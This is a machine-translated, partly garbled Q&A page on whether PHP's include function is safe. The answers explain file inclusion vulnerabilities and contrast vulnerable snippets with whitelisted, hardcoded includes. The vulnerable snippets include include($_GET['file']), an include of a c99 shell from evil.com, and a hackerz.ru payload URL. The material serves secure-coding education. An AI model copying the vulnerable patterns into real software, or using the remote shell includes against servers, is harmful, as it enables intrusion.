Вопрос по php – PHP - безопасна ли функция включения?

7

Я использую «включить» функция (например, "включить" header2.php "или" включить "class.users.php") добавить заголовок или класс сеанса на моем сайте. Я действительно не помню, где, но я слышал, что хакеры каким-то образом ругают, это "включает" вещь, отправка поддельной включенной страницы или что-то в этом роде. В общем, я хотел бы знать, что с этим «включать» функции, как я могу защитить это, как они злоупотребляют этим и если есть лучшие решения для того, что я ищу.

Заранее спасибо.

Дело в том, что, как я слышал, термин "включает" что-то ". Php" " является небезопасным или взломанным, а также инъекциями SQL. Это правда? user1327735
Если человек имеет доступ к вашему PHP-коду, он находится на вашем сервере. Нет смысла защищать то, что уже скомпрометировано. Вместо этого сосредоточьтесь на том, чтобы закрыть точки входа, например, исправив все уязвимости SQL-приложения в вашем приложении. Blender
Все, что можно использовать, если вы используете его неправильно. Пока тыincludeВ статических PHP-файлах вам действительно не о чем беспокоиться в этой области. Blender

Ваш Ответ

7   ответов
-1

<?php include (dirname(__FILE__).'/file.php');
Error: User Rate Limit ExceededexplainError: User Rate Limit Exceeded
1

что страница, которую вы пытаетесь включить, существует в первую очередь. Настоящие лазейки безопасности возникают, когда ваша включаемая страница обрабатывается с помощью какого-либо пользовательского ввода, такого как переменная URL.?include=page.php Пока вы осторожны с этим, вы должны быть в порядке.

if(is_file($file)) {
    //other code, such as user verification and such should also go here
    include $file;
}
else { die(); }
Error: User Rate Limit Exceeded
Error: User Rate Limit Exceeded
Error: User Rate Limit Exceeded
1

Include a remote file like www.someoneelsesssite.com/something.php Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file Include a file from another possibly tainted source like a database.

2 и 3 технически есть оговорка, что если вы не разрешите. или же/ или на окнах\ ты, наверное, в порядке. Но если вы не знаете почему, вы недостаточно знаете об этом, чтобы рисковать. Даже если вы думаете, что база данных доступна только для чтения или иным образом защищена, разумно не предполагать, что, если вам это действительно не нужно, а это почти никогда.

Как указывает ответ pp19dd. Также важно, чтобы вы называли свои включения расширением .php. Если вы настроили apache (или какой-либо веб-сервер, который вы используете), чтобы он также анализировал другой тип файла как PHP, это также безопасно. Но если вы не знаете наверняка, используйте исключительно .php.

Error: User Rate Limit Exceeded
open_basedirError: User Rate Limit Exceeded
3

filename extension от PHP до чего-то, что не выполняется автоматически веб-сервером. Например - library.inc или config.inc. Вызов этих файлов через веб-браузер покажет код вместо его выполнения - и будут показаны все пароли или полезные советы.

сравнитьconfig.php это может иметь пароль сconfig.inc, В большинстве случаев показ файла config.inc показывает, какой пароль у базы данных.

Есть программисты, которые используют расширения .inc для библиотек. Предполагается, что они не будут находиться в каталоге, доступном веб-серверу. Тем не менее, программисты с меньшей степенью безопасности могут сбросить этот файл в удобный веб-каталог.

В противном случае убедитесь, что вы не включили файл, который каким-либо образом представлен строкой запроса. Пример:include( $_GET['menu_file'] ) & lt; - это очень неправильно.

Error: User Rate Limit Exceeded
Error: User Rate Limit Exceededhttp://example.com/a.incError: User Rate Limit Exceeded
15

как вы это реализуете. Если вы конкретно указали путь, то он безопасен. Атака может произойти, если вы позволите пользовательскому вводу определить путь к файлу без очистки или проверки.

Insecure (Обратный путь в каталогах)

<?php 
include($_GET['file']);
?>

Insecure (URL fopen - Если включено)

<?php 
include('http://evil.com/c99shell.php');
?>

Insecure

<?php 
include('./some_dir/' . $_GET['file']);
?>

Partially Insecure ( *.php files are vulnerable )

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

Secure (Хотя не уверен, почему кто-то сделал бы это.)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

Secure

<?php 
include('./includes/somefile.php');
?>
Error: User Rate Limit ExceededthisError: User Rate Limit Exceeded
2

include($_GET["page"]);

а затем позвоните по URL:

myscript.php?page=index.php

злоумышленники могут заменитьindex.php заhxxp://hackerz.ru/install_stuff.php и ваш сервер с удовольствием его запустит.

include само по себе совершенно безопасно. Просто убедитесь, что всегда проверяете / избегаете ввода.

2

что относится к стороне сервера (при условии, что ваш сервер не скомпрометирован), безопасно. Делая это:

$var = $_GET['var']';    
include $var . ".php";

небезопасно

include "page.php"; 

это безопасно.

Error: User Rate Limit Exceeded
Error: User Rate Limit Exceededpage.phpError: User Rate Limit Exceeded

Похожие вопросы